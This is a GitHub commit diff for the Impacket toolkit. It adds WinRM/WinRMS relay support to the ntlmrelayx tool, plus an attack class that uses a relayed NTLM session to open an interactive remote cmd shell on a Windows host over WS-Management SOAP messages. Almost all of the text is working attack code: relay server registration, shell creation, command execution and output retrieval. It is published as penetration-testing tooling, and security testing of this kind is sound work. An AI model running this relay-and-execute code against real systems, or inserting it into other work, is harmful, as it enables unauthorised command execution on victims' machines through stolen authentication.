Skip to content

Commit edf282f

Browse files
author
Aurélien CHALOT
committed
Add new relay capabilities from and to WinRM(S)
1 parent ef2efb8 commit edf282f

File tree

6 files changed

+1789
-2
lines changed

6 files changed

+1789
-2
lines changed

examples/ntlmrelayx.py

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -52,7 +52,7 @@
5252

5353
from impacket import version
5454
from impacket.examples import logger
55-
from impacket.examples.ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer, WCFRelayServer, RAWRelayServer
55+
from impacket.examples.ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer, WCFRelayServer, RAWRelayServer, WinRMRelayServer, WinRMSRelayServer
5656
from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig, parse_listening_ports
5757
from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor, TargetsFileWatcher
5858
from impacket.examples.ntlmrelayx.servers.socksserver import SOCKS
@@ -293,6 +293,7 @@ def stop_servers(threads):
293293
serversoptions.add_argument('--no-http-server', action='store_true', help='Disables the HTTP server')
294294
serversoptions.add_argument('--no-wcf-server', action='store_true', help='Disables the WCF server')
295295
serversoptions.add_argument('--no-raw-server', action='store_true', help='Disables the RAW server')
296+
serversoptions.add_argument('--no-winrm-server', action='store_true', help='Disables the WinRM server')
296297

297298
parser.add_argument('--smb-port', type=int, help='Port to listen on smb server', default=445)
298299
parser.add_argument('--http-port', help='Port(s) to listen on HTTP server. Can specify multiple ports by separating them with `,`, and ranges with `-`. Ex: `80,8000-8010`', default="80")
@@ -501,6 +502,10 @@ def stop_servers(threads):
501502

502503
if not options.no_raw_server:
503504
RELAY_SERVERS.append(RAWRelayServer)
505+
506+
if not options.no_winrm_server:
507+
RELAY_SERVERS.append(WinRMRelayServer)
508+
RELAY_SERVERS.append(WinRMSRelayServer)
504509

505510
if targetSystem is not None and options.w:
506511
watchthread = TargetsFileWatcher(targetSystem)
Lines changed: 260 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,260 @@
1+
# Impacket - Collection of Python classes for working with network protocols.
2+
#
3+
# Copyright (C) 2023 Fortra. All rights reserved.
4+
#
5+
# This software is provided under a slightly modified version
6+
# of the Apache Software License. See the accompanying LICENSE file
7+
# for more information.
8+
#
9+
# Description:
10+
# WinRM Attack Class
11+
#
12+
# Authors:
13+
# Joe Mondloch ([email protected])
14+
# Aurélien Chalot (@Defte_)
15+
16+
import re
17+
import cmd
18+
import sys
19+
import base64
20+
from impacket import LOG
21+
from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
22+
from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell
23+
24+
PROTOCOL_ATTACK_CLASS = "WINRMAttack"
25+
26+
class WinRMShell(cmd.Cmd):
27+
28+
def __init__(self, tcp_shell, client):
29+
cmd.Cmd.__init__(self, stdin=tcp_shell.stdin, stdout=tcp_shell.stdout)
30+
31+
sys.stdout = tcp_shell.stdout
32+
sys.stdin = tcp_shell.stdin
33+
sys.stderr = tcp_shell.stdout
34+
35+
self.use_rawinput = False
36+
self.shell = tcp_shell
37+
self.client = client
38+
39+
self.prompt = "\n# "
40+
self.tid = None
41+
self.intro = "Type help for list of commands"
42+
self.loggedIn = True
43+
self.last_output = None
44+
self.completion = []
45+
46+
self.shell_id = None
47+
48+
# Getting Shell ID
49+
initiate_shell = '''
50+
<?xml version="1.0" encoding="utf-8"?>
51+
<env:Envelope
52+
xmlns:env="http://www.w3.org/2003/05/soap-envelope"
53+
xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
54+
xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd"
55+
xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd"
56+
xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell">
57+
<env:Header>
58+
<a:To>http://windows-host:5985/wsman</a:To>
59+
<a:ReplyTo>
60+
<a:Address mustUnderstand="true">
61+
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
62+
</a:Address>
63+
</a:ReplyTo>
64+
<a:MessageID>uuid:2a8ac24f-00f0-4a87-860c-bf58d33a1e0a</a:MessageID>
65+
<a:Action mustUnderstand="true">
66+
http://schemas.xmlsoap.org/ws/2004/09/transfer/Create
67+
</a:Action>
68+
<w:ResourceURI mustUnderstand="true">
69+
http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd
70+
</w:ResourceURI>
71+
<w:OperationTimeout>PT20S</w:OperationTimeout>
72+
<w:MaxEnvelopeSize mustUnderstand="true">153600</w:MaxEnvelopeSize>
73+
<w:OptionSet>
74+
<w:Option Name="WINRS_NOPROFILE">FALSE</w:Option>
75+
<w:Option Name="WINRS_CODEPAGE">437</w:Option>
76+
</w:OptionSet>
77+
<w:Locale xml:lang="en-US"/>
78+
<p:DataLocale xml:lang="en-US"/>
79+
</env:Header>
80+
<env:Body>
81+
<rsp:Shell>
82+
<rsp:InputStreams>stdin</rsp:InputStreams>
83+
<rsp:OutputStreams>stdout stderr</rsp:OutputStreams>
84+
</rsp:Shell>
85+
</env:Body>
86+
</env:Envelope>
87+
'''
88+
89+
headers = {
90+
"Content-Length": len(initiate_shell),
91+
"Content-Type": "application/soap+xml;charset=UTF-8"
92+
}
93+
94+
self.client.request("POST", "/wsman", headers=headers, body=initiate_shell)
95+
res = self.client.getresponse()
96+
97+
# Retrieve ShellID
98+
if match := re.search(r'<w:Selector\s+Name="ShellId">(.*?)</w:Selector>', res.read().decode()):
99+
self.shell_id = match.group(1)
100+
101+
def emptyline(self):
102+
pass
103+
104+
def onecmd(self, command):
105+
if not command.strip():
106+
return
107+
108+
if command.strip() == "exit":
109+
self.do_exit()
110+
111+
# Send Command XML
112+
execute_command_xml = f'''
113+
<?xml version="1.0" encoding="utf-8"?>
114+
<env:Envelope
115+
xmlns:env="http://www.w3.org/2003/05/soap-envelope"
116+
xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
117+
xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd"
118+
xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell">
119+
<env:Header>
120+
<a:To>http://windows-host:5985/wsman</a:To>
121+
<a:ReplyTo>
122+
<a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
123+
</a:ReplyTo>
124+
<a:Action mustUnderstand="true">
125+
http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Command
126+
</a:Action>
127+
<a:MessageID>uuid:10000000-0000-0000-0000-000000000002</a:MessageID>
128+
<w:ResourceURI mustUnderstand="true">
129+
http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd
130+
</w:ResourceURI>
131+
<w:SelectorSet>
132+
<w:Selector Name="ShellId">{self.shell_id}</w:Selector>
133+
</w:SelectorSet>
134+
</env:Header>
135+
<env:Body>
136+
<rsp:CommandLine>
137+
<rsp:Command>{command}</rsp:Command>
138+
</rsp:CommandLine>
139+
</env:Body>
140+
</env:Envelope>
141+
'''
142+
143+
self.client.request("POST", "/wsman", headers={
144+
"Content-Length": str(len(execute_command_xml)),
145+
"Content-Type": "application/soap+xml;charset=UTF-8"
146+
}, body=execute_command_xml)
147+
148+
response = self.client.getresponse()
149+
body = response.read().decode()
150+
151+
command_id = re.search(r"<rsp:CommandId>(.*?)</rsp:CommandId>", body).group(1)
152+
receive_xml = f'''
153+
<?xml version="1.0" encoding="utf-8"?>
154+
<env:Envelope
155+
xmlns:env="http://www.w3.org/2003/05/soap-envelope"
156+
xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
157+
xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd"
158+
xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell">
159+
<env:Header>
160+
<a:To>http://windows-host:5985/wsman</a:To>
161+
<a:ReplyTo>
162+
<a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
163+
</a:ReplyTo>
164+
<a:Action mustUnderstand="true">
165+
http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Receive
166+
</a:Action>
167+
<a:MessageID>uuid:2a8ac24f-00f0-4a87-860c-bf58d33a1e0a</a:MessageID>
168+
<w:ResourceURI mustUnderstand="true">
169+
http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd
170+
</w:ResourceURI>
171+
<w:SelectorSet>
172+
<w:Selector Name="ShellId">{self.shell_id}</w:Selector>
173+
</w:SelectorSet>
174+
</env:Header>
175+
<env:Body>
176+
<rsp:Receive>
177+
<rsp:DesiredStream CommandId="{command_id}">stdout stderr</rsp:DesiredStream>
178+
</rsp:Receive>
179+
</env:Body>
180+
</env:Envelope>
181+
'''
182+
183+
self.client.request("POST", "/wsman", headers={
184+
"Content-Length": str(len(receive_xml)),
185+
"Content-Type": "application/soap+xml;charset=UTF-8"
186+
}, body=receive_xml)
187+
188+
response = self.client.getresponse()
189+
body = response.read().decode()
190+
191+
# Extract and decode output
192+
matches = re.findall(r'<rsp:Stream Name="stdout"[^>]*>(.*?)</rsp:Stream>', body)
193+
for match in matches:
194+
try:
195+
command_output = base64.b64decode(match).decode("utf-8", errors="ignore").strip()
196+
if command_output:
197+
print(command_output)
198+
except Exception as e:
199+
LOG.error(f"Failed to decode output: {e}")
200+
print(match)
201+
202+
def do_exit(self):
203+
# This request is used to clean up the previously used ShellID
204+
destroy_shell = f'''
205+
<?xml version="1.0" encoding="utf-8"?>
206+
<env:Envelope
207+
xmlns:env="http://www.w3.org/2003/05/soap-envelope"
208+
xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
209+
xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd">
210+
<env:Header>
211+
<a:To>http://windows-host:5985/wsman</a:To>
212+
<a:ReplyTo>
213+
<a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
214+
</a:ReplyTo>
215+
<a:Action mustUnderstand="true">
216+
http://schemas.xmlsoap.org/ws/2004/09/transfer/Delete
217+
</a:Action>
218+
<a:MessageID>uuid:10000000-0000-0000-0000-000000000004</a:MessageID>
219+
<w:ResourceURI mustUnderstand="true">
220+
http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd
221+
</w:ResourceURI>
222+
<w:SelectorSet>
223+
<w:Selector Name="ShellId">{self.shell_id}</w:Selector>
224+
</w:SelectorSet>
225+
</env:Header>
226+
<env:Body/>
227+
</env:Envelope>
228+
'''
229+
230+
headers = {
231+
"Content-Length": len(destroy_shell),
232+
"Content-Type": "application/soap+xml;charset=UTF-8"
233+
}
234+
235+
self.client.request("POST", "/wsman", headers=headers, body=destroy_shell)
236+
res = self.client.getresponse()
237+
res.read()
238+
239+
if self.shell is not None:
240+
self.shell.close()
241+
242+
LOG.info("WinRM shell destroyed successfully. You can now leave the NC shell :)")
243+
return True
244+
245+
def do_EOF(self, line):
246+
print("Bye!\n")
247+
return True
248+
249+
class WINRMAttack(ProtocolAttack):
250+
PLUGIN_NAMES = ["WINRMS"]
251+
252+
def __init__(self, config, WINRMClient, username):
253+
ProtocolAttack.__init__(self, config, WINRMClient, username)
254+
self.tcp_shell = TcpShell()
255+
256+
def run(self):
257+
LOG.info(f"Started interactive WinRMS shell via TCP on 127.0.0.1:{self.tcp_shell.port}")
258+
self.tcp_shell.listen()
259+
shell = WinRMShell(self.tcp_shell, self.client)
260+
shell.cmdloop()

0 commit comments

Comments
 (0)